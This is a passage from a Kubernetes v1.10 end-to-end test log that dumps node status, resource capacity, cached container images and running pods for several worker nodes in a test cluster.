lts,containerruntimeversion:docker://1.13.1,kubeletversion:v1.10.0,kubeproxyversion:v1.10.0,operatingsystem:linux,architecture:amd64,},images: { k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b k8s.gcr.io/nginx-slim-amd64:0.20  103591055} { k8s.gcr.io/nginx-slim-amd64@sha256:8ca6a9ecef3b2ef02f6e0c3d449235d9c53d532f420cc0a29a6a133aa88df256 k8s.gcr.io/nginx-slim-amd64:0.21  95339966} { k8s.gcr.io/pause-amd64@sha256:59eec8837a4d942cc19a52b8c09ea75121acc38114a2c68b98983ce9356b8610 k8s.gcr.io/pause-amd64:3.1  742472} ,volumesinuse:  ,volumesattached:  ,},}& xa;apr 13 11:06:23.782: info: & xa;logging kubelet events for node worker-n5-484hbf& xa;apr 13 11:06:23.790: info: & xa;logging pods the kubelet thinks is on node worker-n5-484hbf& xa;apr 13 11:06:23.952: info: & xa;latency metrics for node worker-n5-484hbf& xa;apr 13 11:06:23.952: info: & xa;logging node info for node worker-n6-ekrakt& xa;apr 13 11:06:23.960: info: node info: &amp;node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:worker-n6-ekrakt,generatename:,namespace:,selflink:/api/v1/nodes/worker-n6-ekrakt,uid:3d66ee58-3f03-11e8-b17d-00a0a5b28a1c,resourceversion:59190,generation:0,creationtimestamp:2018-04-13 06:12:58 -0400 edt,deletiontimestamp:&lt;nil&gt;,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: worker-n6-ekrakt,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:worker-n6-ekrakt,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{32 0} {&lt;nil&gt;} 32 decimalsi},ephemeral-storage: {{118014062592 0} {&lt;nil&gt;} 115248108ki binarysi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{33620189184 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},allocatable:resourcelist{cpu: {{32 0} {&lt;nil&gt;} 32 decimalsi},ephemeral-storage: {{106212656157 0} {&lt;nil&gt;} 106212656157 decimalsi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{33515331584 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},phase:,conditions: {outofdisk false 2018-04-13 11:06:15 -0400 edt 2018-04-13 06:12:58 -0400 edt kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2018-04-13 11:06:15 -0400 edt 2018-04-13 06:12:58 -0400 edt kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2018-04-13 11:06:15 -0400 edt 2018-04-13 06:12:58 -0400 edt kubelethasnodiskpressure kubelet has no disk pressure} {pidpressure false 2018-04-13 11:06:15 -0400 edt 2018-04-13 06:12:58 -0400 edt kubelethassufficientpid kubelet has sufficient pid available} {ready true 2018-04-13 11:06:15 -0400 edt 2018-04-13 08:06:52 -0400 edt kubeletready kubelet is posting ready status. apparmor enabled} ,addresses: {internalip 11.10.1.10} {hostname worker-n6-ekrakt} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:323318f99e5b45f19cdc2a52d338eb70,systemuuid:323318f99e5b45f19cdc2a52d338eb70,bootid:966917a5-25d4-4e50-9801-d3510d5fe56f,kernelversion:4.4.0-119-generic,osimage:ubuntu 16.04.4 lts,containerruntimeversion:docker://1.13.1,kubeletversion:v1.10.0,kubeproxyversion:v1.10.0,operatingsystem:linux,architecture:amd64,},images: { weaveworksdemos/catalogue-db@sha256:7ba74ec9adf88f6625b8d85d3323d1ee5232b39877e1590021ea485cf9457251 weaveworksdemos/catalogue-db:0.3.0  400161654} { weaveworksdemos/queue-master@sha256:6292d3095f4c7aeed8d863527f8ef6d7a75d3128f20fc61e57f398c100142712 weaveworksdemos/queue-master:0.3.1  178508575} { k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b k8s.gcr.io/nginx-slim-amd64:0.20  103591055} { k8s.gcr.io/nginx-slim-amd64@sha256:8ca6a9ecef3b2ef02f6e0c3d449235d9c53d532f420cc0a29a6a133aa88df256 k8s.gcr.io/nginx-slim-amd64:0.21  95339966} { gcr.io/kubernetes-e2e-test-images/nettest-amd64@sha256:ff598458029b42e23b823a3a690c07e1f6921627f3fc49d007033494eca13141 gcr.io/kubernetes-e2e-test-images/nettest-amd64:1.0  30381916} { gcr.io/kubernetes-e2e-test-images/hostexec-amd64@sha256:bdaecec5adfa7c79e9525c0992fdab36c2d68066f5e91eff0d1d9e8d73c654ea gcr.io/kubernetes-e2e-test-images/hostexec-amd64:1.1  8407119} { gcr.io/kubernetes-e2e-test-images/netexec-amd64@sha256:2edfad424a541b9e024f26368d3a5b7dcc1d7cd27a4ee8c1d8c3f81d9209ab2e gcr.io/kubernetes-e2e-test-images/netexec-amd64:1.0  6227659} { gcr.io/kubernetes-e2e-test-images/redis-amd64@sha256:3e01bcaf67cb9b5c9fa7f57ba92539c8962d59c9647b91e9ec5047a89e2bc49a gcr.io/kubernetes-e2e-test-images/redis-amd64:1.0  5850779} { gcr.io/kubernetes-e2e-test-images/serve-hostname-amd64@sha256:2dd4032e98a0450d95a0ac71a5e465f542a900812d8c41bc6ca635aed1a5fc91 gcr.io/kubernetes-e2e-test-images/serve-hostname-amd64:1.0  5470001} { gcr.io/kubernetes-e2e-test-images/nautilus-amd64@sha256:a4e859e40750d0e1a94470445bea3bc0ba4edc7363863a0be7a3714336040daa gcr.io/kubernetes-e2e-test-images/nautilus-amd64:1.0  4415165} { gcr.io/kubernetes-e2e-test-images/kitten-amd64@sha256:36e05bc3dfe1cd0f2d2d119f47fbb6e1c75037b291073012d57fbf28af3de3d7 gcr.io/kubernetes-e2e-test-images/kitten-amd64:1.0  4408701} { gcr.io/kubernetes-e2e-test-images/test-webserver-amd64@sha256:cd237408ae94e22c4f5c6d7c6f56708341db6c428180fe1fe011c17bf9d03c50 gcr.io/kubernetes-e2e-test-images/test-webserver-amd64:1.0  4393904} { gcr.io/kubernetes-e2e-test-images/liveness-amd64@sha256:5f89fb4e972426ae8d1d60dcf041f631f4d79922f50cc7ecbac2a8d1ed66edae gcr.io/kubernetes-e2e-test-images/liveness-amd64:1.0  4279645} { gcr.io/kubernetes-e2e-test-images/entrypoint-tester-amd64@sha256:ed08ffff86b0a2016fa650ff76ea4b85fc3dfcab30ee4b7bd47d514ab765da89 gcr.io/kubernetes-e2e-test-images/entrypoint-tester-amd64:1.0  2276578} { gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64@sha256:dda6519a95c934b46731a6b1492fed1b48ccc6d4aed4b754a46d7de8063a3e2b gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64:1.0  1450451} { gcr.io/kubernetes-e2e-test-images/mounttest-amd64@sha256:dc4e2dcfbde16249c4662de673295d00778577bc2e2ca7013a1b85d4f47398ca gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0  1450451} { busybox@sha256:58ac43b2cc92c687a32c8be6278e50a063579655fe3090125dcb2af0ff9e1a64 busybox:latest  1146369} { k8s.gcr.io/pause-amd64@sha256:59eec8837a4d942cc19a52b8c09ea75121acc38114a2c68b98983ce9356b8610 k8s.gcr.io/pause-amd64:3.1  742472} ,volumesinuse:  ,volumesattached:  ,},}& xa;apr 13 11:06:23.960: info: & xa;logging kubelet events for node worker-n6-ekrakt& xa;apr 13 11:06:23.968: info: & xa;logging pods the kubelet thinks is on node worker-n6-ekrakt& xa;apr 13 11:06:24.019: info: & xa;latency metrics for node worker-n6-ekrakt& xa;apr 13 11:06:24.019: info: & xa;logging node info for node worker-n7-1-xpqd33& xa;apr 13 11:06:24.031: info: node info: &amp;node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:worker-n7-1-xpqd33,generatename:,namespace:,selflink:/api/v1/nodes/worker-n7-1-xpqd33,uid:3c44c187-3f03-11e8-b17d-00a0a5b28a1c,resourceversion:59201,generation:0,creationtimestamp:2018-04-13 06:12:56 -0400 edt,deletiontimestamp:&lt;nil&gt;,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: worker-n7-1-xpqd33,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:worker-n7-1-xpqd33,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{24 0} {&lt;nil&gt;} 24 decimalsi},ephemeral-storage: {{251907248128 0} {&lt;nil&gt;} 246003172ki binarysi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{33620729856 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},allocatable:resourcelist{cpu: {{24 0} {&lt;nil&gt;} 24 decimalsi},ephemeral-storage: {{226716522940 0} {&lt;nil&gt;} 226716522940 decimalsi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{33515872256 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},phase:,conditions: {outofdisk false 2018-04-13 11:06:18 -0400 edt 2018-04-13 06:12:56 -0400 edt kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 06:12:56 -0400 edt kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 06:12:56 -0400 edt kubelethasnodiskpressure kubelet has no disk pressure} {pidpressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 06:12:56 -0400 edt kubelethassufficientpid kubelet has sufficient pid available} {ready true 2018-04-13 11:06:18 -0400 edt 2018-04-13 08:09:54 -0400 edt kubeletready kubelet is posting ready status. apparmor enabled} ,addresses: {internalip 11.10.1.7} {hostname worker-n7-1-xpqd33} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:ab634c6d25a34ddfb3839d69a4be63bd,systemuuid:431828bc-f1ca-4336-9290-9ee85cbd1fe5,bootid:75299e64-bbfb-44b2-869a-65d3ec7bc999,kernelversion:4.4.0-119-generic,osimage:ubuntu 16.04.4 lts,containerruntimeversion:docker://1.13.1,kubeletversion:v1.10.0,kubeproxyversion:v1.10.0,operatingsystem:linux,architecture:amd64,},images: { weaveworksdemos/carts@sha256:434d2f5a6e0e8beef1f253fe96f45b8437a703125fc003434c5282ecf8969a4f weaveworksdemos/carts:0.4.8  197631354} { k8s.gcr.io/heapster-grafana-amd64@sha256:4a472eb4df03f4f557d80e7c6b903d9c8fe31493108b99fbd6da6540b5448d70 k8s.gcr.io/heapster-grafana-amd64:v4.4.3  151537678} { k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b k8s.gcr.io/nginx-slim-amd64:0.20  103591055} { k8s.gcr.io/kubernetes-dashboard-amd64@sha256:dc4026c1b595435ef5527ca598e1e9c4343076926d7d62b365c44831395adbd0 k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3  102319441} { k8s.gcr.io/heapster-amd64@sha256:da3288b0fe2312c621c2a6d08f24ccc56183156ec70767987501287db4927b9d k8s.gcr.io/heapster-amd64:v1.5.0  75318378} { k8s.gcr.io/k8s-dns-kube-dns-amd64@sha256:6d8e0da4fb46e9ea2034a3f4cab0e095618a2ead78720c12e791342738e5f85d k8s.gcr.io/k8s-dns-kube-dns-amd64:1.14.8  50456751} { k8s.gcr.io/metrics-server-amd64@sha256:49a9f12f7067d11f42c803dbe61ed2c1299959ad85cb315b25ff7eef8e6b8892 k8s.gcr.io/metrics-server-amd64:v0.2.1  42541759} { k8s.gcr.io/k8s-dns-sidecar-amd64@sha256:23df717980b4aa08d2da6c4cfa327f1b730d92ec9cf740959d2d5911830d82fb k8s.gcr.io/k8s-dns-sidecar-amd64:1.14.8  42210862} { k8s.gcr.io/k8s-dns-dnsmasq-nanny-amd64@sha256:93c827f018cf3322f1ff2aa80324a0306048b0a69bc274e423071fb0d2d29d8b k8s.gcr.io/k8s-dns-dnsmasq-nanny-amd64:1.14.8  40951779} { weaveworksdemos/user@sha256:6740c0a9afd5f4f643504728104a74501c4d78e6f4e7ded2a7caa351b417df99 weaveworksdemos/user:0.4.4  35265677} { k8s.gcr.io/addon-resizer@sha256:507aa9845ecce1fdde4d61f530c802f4dc2974c700ce0db7730866e442db958d k8s.gcr.io/addon-resizer:1.8.1  32968591} { weaveworksdemos/payment@sha256:5ab1c9877480a018d4dda10d6dfa382776e6bca9fc1c60bacbb80903fde8cfe0 weaveworksdemos/payment:0.4.3  32459351} { k8s.gcr.io/heapster-influxdb-amd64@sha256:f433e331c1865ad87bc5387589965528b78cd6b1b2f61697e589584d690c1edd k8s.gcr.io/heapster-influxdb-amd64:v1.3.3  12546306} { gcr.io/kubernetes-e2e-test-images/netexec-amd64@sha256:2edfad424a541b9e024f26368d3a5b7dcc1d7cd27a4ee8c1d8c3f81d9209ab2e gcr.io/kubernetes-e2e-test-images/netexec-amd64:1.0  6227659} { gcr.io/kubernetes-e2e-test-images/redis-amd64@sha256:3e01bcaf67cb9b5c9fa7f57ba92539c8962d59c9647b91e9ec5047a89e2bc49a gcr.io/kubernetes-e2e-test-images/redis-amd64:1.0  5850779} { gcr.io/kubernetes-e2e-test-images/serve-hostname-amd64@sha256:2dd4032e98a0450d95a0ac71a5e465f542a900812d8c41bc6ca635aed1a5fc91 gcr.io/kubernetes-e2e-test-images/serve-hostname-amd64:1.0  5470001} { k8s.gcr.io/defaultbackend@sha256:865b0c35e6da393b8e80b7e3799f777572399a4cff047eb02a81fa6e7a48ed4b k8s.gcr.io/defaultbackend:1.4  4844064} { gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64@sha256:dda6519a95c934b46731a6b1492fed1b48ccc6d4aed4b754a46d7de8063a3e2b gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64:1.0  1450451} { gcr.io/kubernetes-e2e-test-images/mounttest-amd64@sha256:dc4e2dcfbde16249c4662de673295d00778577bc2e2ca7013a1b85d4f47398ca gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0  1450451} { busybox@sha256:58ac43b2cc92c687a32c8be6278e50a063579655fe3090125dcb2af0ff9e1a64 busybox:latest  1146369} { k8s.gcr.io/pause-amd64@sha256:59eec8837a4d942cc19a52b8c09ea75121acc38114a2c68b98983ce9356b8610 k8s.gcr.io/pause-amd64:3.1  742472} ,volumesinuse:  ,volumesattached:  ,},}& xa;apr 13 11:06:24.031: info: & xa;logging kubelet events for node worker-n7-1-xpqd33& xa;apr 13 11:06:24.041: info: & xa;logging pods the kubelet thinks is on node worker-n7-1-xpqd33& xa;apr 13 11:06:24.051: info: kube-dns-5c6c5b55b-wh2zm started at 2018-04-13 06:13:08 -0400 edt  0+3 container statuses recorded & xa;apr 13 11:06:24.051: info: & x9;container dnsmasq ready: true, restart count 0& xa;apr 13 11:06:24.051: info: & x9;container kubedns ready: true, restart count 0& xa;apr 13 11:06:24.051: info: & x9;container sidecar ready: true, restart count 0& xa;apr 13 11:06:24.051: info: kubernetes-dashboard-7d5dcdb6d9-b28g5 started at 2018-04-13 06:13:08 -0400 edt  0+1 container statuses recorded & xa;apr 13 11:06:24.051: info: & x9;container kubernetes-dashboard ready: true, restart count 0& xa;apr 13 11:06:24.051: info: monitoring-influxdb-grafana-v4-6d67c7f4f-5x8xq started at 2018-04-13 06:13:08 -0400 edt  0+2 container statuses recorded & xa;apr 13 11:06:24.051: info: & x9;container grafana ready: true, restart count 0& xa;apr 13 11:06:24.051: info: & x9;container influxdb ready: true, restart count 0& xa;apr 13 11:06:24.051: info: default-http-backend-mv4tr started at 2018-04-13 06:13:06 -0400 edt  0+1 container statuses recorded & xa;apr 13 11:06:24.052: info: & x9;container default-http-backend ready: true, restart count 0& xa;apr 13 11:06:24.103: info: & xa;latency metrics for node worker-n7-1-xpqd33& xa;apr 13 11:06:24.103: info: & xa;logging node info for node worker-n7-2-teqqbg& xa;apr 13 11:06:24.111: info: node info: &amp;node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:worker-n7-2-teqqbg,generatename:,namespace:,selflink:/api/v1/nodes/worker-n7-2-teqqbg,uid:3b3e1af7-3f03-11e8-b17d-00a0a5b28a1c,resourceversion:59200,generation:0,creationtimestamp:2018-04-13 06:12:54 -0400 edt,deletiontimestamp:&lt;nil&gt;,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: worker-n7-2-teqqbg,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:worker-n7-2-teqqbg,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{24 0} {&lt;nil&gt;} 24 decimalsi},ephemeral-storage: {{251907248128 0} {&lt;nil&gt;} 246003172ki binarysi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{33620729856 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},allocatable:resourcelist{cpu: {{24 0} {&lt;nil&gt;} 24 decimalsi},ephemeral-storage: {{226716522940 0} {&lt;nil&gt;} 226716522940 decimalsi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{33515872256 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},phase:,conditions: {outofdisk false 2018-04-13 11:06:18 -0400 edt 2018-04-13 06:12:54 -0400 edt kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 06:12:54 -0400 edt kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 06:12:54 -0400 edt kubelethasnodiskpressure kubelet has no disk pressure} {pidpressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 06:12:54 -0400 edt kubelethassufficientpid kubelet has sufficient pid available} {ready true 2018-04-13 11:06:18 -0400 edt 2018-04-13 08:09:55 -0400 edt kubeletready kubelet is posting ready status. apparmor enabled} ,addresses: {internalip 11.10.1.8} {hostname worker-n7-2-teqqbg} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:31948d3ac51842f5aca64d1ad0fe86d2,systemuuid:1be566ef-75ea-4375-b151-827d0a6b969d,bootid:ea1d07f6-6196-4443-92d7-180a47c55b28,kernelversion:4.4.0-119-generic,osimage:ubuntu 16.04.4 lts,containerruntimeversion:docker://1.13.1,kubeletversion:v1.10.0,kubeproxyversion:v1.10.0,operatingsystem:linux,architecture:amd64,},images: { weaveworksdemos/user-db@sha256:b43f0f8a76e0c908805fcec74d1ad7f4af4d93c4612632bd6dc20a87508e0b68 weaveworksdemos/user-db:0.4.0  716879935} { gcr.io/google-samples/gb-frontend-amd64@sha256:7a970e9aefef212969098b766d3999f99803dd3665701bdb04149442d28bb8d9 gcr.io/google-samples/gb-frontend-amd64:v5  405392212} { weaveworksdemos/orders@sha256:b622e40e83433baf6374f15e076b53893f79958640fc6667dff597622eff03b9 weaveworksdemos/orders:0.4.7  197650258} { k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b k8s.gcr.io/nginx-slim-amd64:0.20  103591055} { k8s.gcr.io/nginx-slim-amd64@sha256:8ca6a9ecef3b2ef02f6e0c3d449235d9c53d532f420cc0a29a6a133aa88df256 k8s.gcr.io/nginx-slim-amd64:0.21  95339966} { k8s.gcr.io/heapster-amd64@sha256:da3288b0fe2312c621c2a6d08f24ccc56183156ec70767987501287db4927b9d k8s.gcr.io/heapster-amd64:v1.5.0  75318378} { k8s.gcr.io/metrics-server-amd64@sha256:49a9f12f7067d11f42c803dbe61ed2c1299959ad85cb315b25ff7eef8e6b8892 k8s.gcr.io/metrics-server-amd64:v0.2.1  42541759} { k8s.gcr.io/addon-resizer@sha256:507aa9845ecce1fdde4d61f530c802f4dc2974c700ce0db7730866e442db958d k8s.gcr.io/addon-resizer:1.8.1  32968591} { gcr.io/kubernetes-e2e-test-images/netexec-amd64@sha256:2edfad424a541b9e024f26368d3a5b7dcc1d7cd27a4ee8c1d8c3f81d9209ab2e gcr.io/kubernetes-e2e-test-images/netexec-amd64:1.0  6227659} { gcr.io/kubernetes-e2e-test-images/entrypoint-tester-amd64@sha256:ed08ffff86b0a2016fa650ff76ea4b85fc3dfcab30ee4b7bd47d514ab765da89 gcr.io/kubernetes-e2e-test-images/entrypoint-tester-amd64:1.0  2276578} { gcr.io/kubernetes-e2e-test-images/mounttest-amd64@sha256:dc4e2dcfbde16249c4662de673295d00778577bc2e2ca7013a1b85d4f47398ca gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0  1450451} { gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64@sha256:dda6519a95c934b46731a6b1492fed1b48ccc6d4aed4b754a46d7de8063a3e2b gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64:1.0  1450451} { busybox@sha256:58ac43b2cc92c687a32c8be6278e50a063579655fe3090125dcb2af0ff9e1a64 busybox:latest  1146369} { k8s.gcr.io/pause-amd64@sha256:59eec8837a4d942cc19a52b8c09ea75121acc38114a2c68b98983ce9356b8610 k8s.gcr.io/pause-amd64:3.1  742472} ,volumesinuse:  ,volumesattached:  ,},}& xa;apr 13 11:06:24.111: info: & xa;logging kubelet events for node worker-n7-2-teqqbg& xa;apr 13 11:06:24.119: info: & xa;logging pods the kubelet thinks is on node worker-n7-2-teqqbg& xa;apr 13 11:06:24.129: info: metrics-server-v0.2.1-7486f5bd67-pw9mj started at 2018-04-13 06:14:06 -0400 edt  0+2 container statuses recorded & xa;apr 13 11:06:24.129: info: & x9;container metrics-server ready: true, restart count 0& xa;apr 13 11:06:24.129: info: & x9;container metrics-server-nanny ready: true, restart count 0& xa;apr 13 11:06:24.172: info: & xa;latency metrics for node worker-n7-2-teqqbg& xa;apr 13 11:06:24.172: info: & xa;logging node info for node worker-n8-1-sepdqn& xa;apr 13 11:06:24.179: info: node info: &amp;node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:worker-n8-1-sepdqn,generatename:,namespace:,selflink:/api/v1/nodes/worker-n8-1-sepdqn,uid:3d7e9ebd-3f03-11e8-8d5d-00a0a5b28a50,resourceversion:59203,generation:0,creationtimestamp:2018-04-13 06:12:58 -0400 edt,deletiontimestamp:&lt;nil&gt;,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: worker-n8-1-sepdqn,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:worker-n8-1-sepdqn,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{24 0} {&lt;nil&gt;} 24 decimalsi},ephemeral-storage: {{503938625536 0} {&lt;nil&gt;} 492127564ki binarysi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{67443580928 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},allocatable:resourcelist{cpu: {{24 0} {&lt;nil&gt;} 24 decimalsi},ephemeral-storage: {{453544762232 0} {&lt;nil&gt;} 453544762232 decimalsi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{67338723328 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},phase:,conditions: {outofdisk false 2018-04-13 11:06:19 -0400 edt 2018-04-13 06:12:58 -0400 edt kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2018-04-13 11:06:19 -0400 edt 2018-04-13 06:12:58 -0400 edt kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2018-04-13 11:06:19 -0400 edt 2018-04-13 06:12:58 -0400 edt kubelethasnodiskpressure kubelet has no disk pressure} {pidpressure false 2018-04-13 11:06:19 -0400 edt 2018-04-13 06:12:58 -0400 edt kubelethassufficientpid kubelet has sufficient pid available} {ready true 2018-04-13 11:06:19 -0400 edt 2018-04-13 08:09:37 -0400 edt kubeletready kubelet is posting ready status. apparmor enabled} ,addresses: {internalip 11.10.1.11} {hostname worker-n8-1-sepdqn} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:5223061dd0a847d4adbc67a03bdf8fc1,systemuuid:5223061dd0a847d4adbc67a03bdf8fc1,bootid:7b8cb095-547c-4283-855f-7235a8588d85,kernelversion:4.4.0-119-generic,osimage:ubuntu 16.04.4 lts,containerruntimeversion:docker://1.13.1,kubeletversion:v1.10.0,kubeproxyversion:v1.10.0,operatingsystem:linux,architecture:amd64,},images: { gcr.io/google-samples/gb-frontend-amd64@sha256:7a970e9aefef212969098b766d3999f99803dd3665701bdb04149442d28bb8d9 gcr.io/google-samples/gb-frontend-amd64:v5  405392212} { mongo@sha256:d969194a7c4dcd817cae5dc726b1493547a3ad3f1b30f7f58857adc9ae6a4483 mongo:latest  365987345} { k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b k8s.gcr.io/nginx-slim-amd64:0.20  103591055} { k8s.gcr.io/nginx-slim-amd64@sha256:8ca6a9ecef3b2ef02f6e0c3d449235d9c53d532f420cc0a29a6a133aa88df256 k8s.gcr.io/nginx-slim-amd64:0.21  95339966} { k8s.gcr.io/heapster-amd64@sha256:da3288b0fe2312c621c2a6d08f24ccc56183156ec70767987501287db4927b9d k8s.gcr.io/heapster-amd64:v1.5.0  75318378} { k8s.gcr.io/addon-resizer@sha256:507aa9845ecce1fdde4d61f530c802f4dc2974c700ce0db7730866e442db958d k8s.gcr.io/addon-resizer:1.8.1  32968591} { gcr.io/kubernetes-e2e-test-images/hostexec-amd64@sha256:bdaecec5adfa7c79e9525c0992fdab36c2d68066f5e91eff0d1d9e8d73c654ea gcr.io/kubernetes-e2e-test-images/hostexec-amd64:1.1  8407119} { gcr.io/kubernetes-e2e-test-images/netexec-amd64@sha256:2edfad424a541b9e024f26368d3a5b7dcc1d7cd27a4ee8c1d8c3f81d9209ab2e gcr.io/kubernetes-e2e-test-images/netexec-amd64:1.0  6227659} { gcr.io/kubernetes-e2e-test-images/nautilus-amd64@sha256:a4e859e40750d0e1a94470445bea3bc0ba4edc7363863a0be7a3714336040daa gcr.io/kubernetes-e2e-test-images/nautilus-amd64:1.0  4415165} { gcr.io/kubernetes-e2e-test-images/liveness-amd64@sha256:5f89fb4e972426ae8d1d60dcf041f631f4d79922f50cc7ecbac2a8d1ed66edae gcr.io/kubernetes-e2e-test-images/liveness-amd64:1.0  4279645} { gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64@sha256:dda6519a95c934b46731a6b1492fed1b48ccc6d4aed4b754a46d7de8063a3e2b gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64:1.0  1450451} { gcr.io/kubernetes-e2e-test-images/mounttest-amd64@sha256:dc4e2dcfbde16249c4662de673295d00778577bc2e2ca7013a1b85d4f47398ca gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0  1450451} { busybox@sha256:58ac43b2cc92c687a32c8be6278e50a063579655fe3090125dcb2af0ff9e1a64 busybox:latest  1146369} { k8s.gcr.io/pause-amd64@sha256:59eec8837a4d942cc19a52b8c09ea75121acc38114a2c68b98983ce9356b8610 k8s.gcr.io/pause-amd64:3.1  742472} ,volumesinuse:  ,volumesattached:  ,},}& xa;apr 13 11:06:24.179: info: & xa;logging kubelet events for node worker-n8-1-sepdqn& xa;apr 13 11:06:24.187: info: & xa;logging pods the kubelet thinks is on node worker-n8-1-sepdqn& xa;apr 13 11:06:24.196: info: heapster-v1.5.0-6f465f54d4-fwt6c started at 2018-04-13 08:07:24 -0400 edt  0+4 container statuses recorded & xa;apr 13 11:06:24.196: info: & x9;container eventer 